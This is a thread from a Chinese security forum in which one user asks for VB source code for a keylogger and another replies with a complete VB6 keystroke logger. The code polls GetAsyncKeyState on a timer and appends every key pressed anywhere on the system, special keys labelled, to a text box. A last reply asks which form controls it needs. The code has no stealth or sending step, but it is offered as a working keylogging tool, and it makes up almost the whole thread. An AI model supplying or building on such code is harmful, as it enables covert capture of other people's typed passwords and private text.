|
 | 作者: backspace [backspace]
 论坛用户 |
登录 |
| 希望大家能告诉我在哪有得下 谢谢了!! |
| 地主 发表时间: 04-09-22 17:14 |
 | 回复: minc11 [minc11]  论坛用户 |
登录 |
|
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Sub Timer2_Timer() TimeOut = 0 End Sub Private Sub Timer1_Timer() Dim AddKey KeyResult = GetAsyncKeyState(13) '回车键 If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(17) 'Ctrl键 If KeyResult = -32767 Then AddKey = "[CTRL]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(8) '退格键 If KeyResult = -32767 Then AddKey = "[BKSPACE]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then AddKey = "[TAB]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(18) If KeyResult = -32767 Then AddKey = "[ALT]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then AddKey = "[PAUSE]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then AddKey = "[CAPS]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then AddKey = "[PGUP]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then AddKey = "[PGDN]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(35) If KeyResult = -32767 Then AddKey = "[END]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then AddKey = "[HOME]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then AddKey = "[SYSRQ]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then AddKey = "[INS]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then AddKey = "[DEL]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then AddKey = "[NUM]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then AddKey = "[LEFT]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then AddKey = "[UP]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then AddKey = "[RIGHT]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then AddKey = "[DOWN]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then AddKey = "[F1]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then AddKey = "[F2]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then AddKey = "[F3]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then AddKey = "[F4]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then AddKey = "[F5]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then AddKey = "[F6]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then AddKey = "[F7]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then AddKey = "[F8]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then AddKey = "[F9]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then AddKey = "[F10]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then AddKey = "[F11]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then AddKey = "[F12]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then AddKey = "[F14]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then AddKey = "[F15]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then AddKey = "[F16]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then AddKey = " " GoTo KeyFound End If KeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then AddKey = ";" GoTo KeyFound End If KeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then AddKey = "=" GoTo KeyFound End If KeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then AddKey = "," GoTo KeyFound End If KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound End If KeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then AddKey = "." GoTo KeyFound End If KeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then AddKey = "/" '/ GoTo KeyFound End If KeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then AddKey = "`" '` GoTo KeyFound End If '----------NUM PAD KeyResult = GetAsyncKeyState(96) If KeyResult = -32767 Then AddKey = "0" GoTo KeyFound End If KeyResult = GetAsyncKeyState(97) If KeyResult = -32767 Then AddKey = "1" GoTo KeyFound End If KeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then AddKey = "2" GoTo KeyFound End If KeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then AddKey = "3" GoTo KeyFound End If KeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then AddKey = "4" GoTo KeyFound End If KeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then AddKey = "5" GoTo KeyFound End If KeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then AddKey = "6" GoTo KeyFound End If KeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then AddKey = "7" GoTo KeyFound End If KeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then AddKey = "8" GoTo KeyFound End If KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9" GoTo KeyFound End If KeyResult = GetAsyncKeyState(106) If KeyResult = -32767 Then AddKey = "*" GoTo KeyFound End If KeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then AddKey = "+" GoTo KeyFound End If KeyResult = GetAsyncKeyState(108) If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound End If KeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then AddKey = "." GoTo KeyFound End If KeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then AddKey = "/" GoTo KeyFound End If KeyResult = GetAsyncKeyState(220) If KeyResult = -32767 Then AddKey = "\" GoTo KeyFound End If KeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then AddKey = "'" GoTo KeyFound End If KeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then AddKey = "]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(219) If KeyResult = -32767 Then AddKey = "[" GoTo KeyFound End If KeyResult = GetAsyncKeyState(16) 'shift键 If KeyResult = -32767 And TimeOut = 0 Then AddKey = "[SHIFT]" LastKey = AddKey TimeOut = 1 GoTo KeyFound End If KeyLoop = 41 Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 Loop LastKey = AddKey Exit Sub KeyFound: '显示键的信息 Text1 = Text1 & AddKey End Sub |
| B1层 发表时间: 04-09-27 13:06 |
 | 回复: showbooo [showbooo] 论坛用户 |
登录 |
|
一共要创建哪些控件啊？ |
| B2层 发表时间: 04-10-11 18:26 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon
粤ICP备05087286号
论坛: 编程破解
标题: 求用VB编写的键盘记录工具的原代码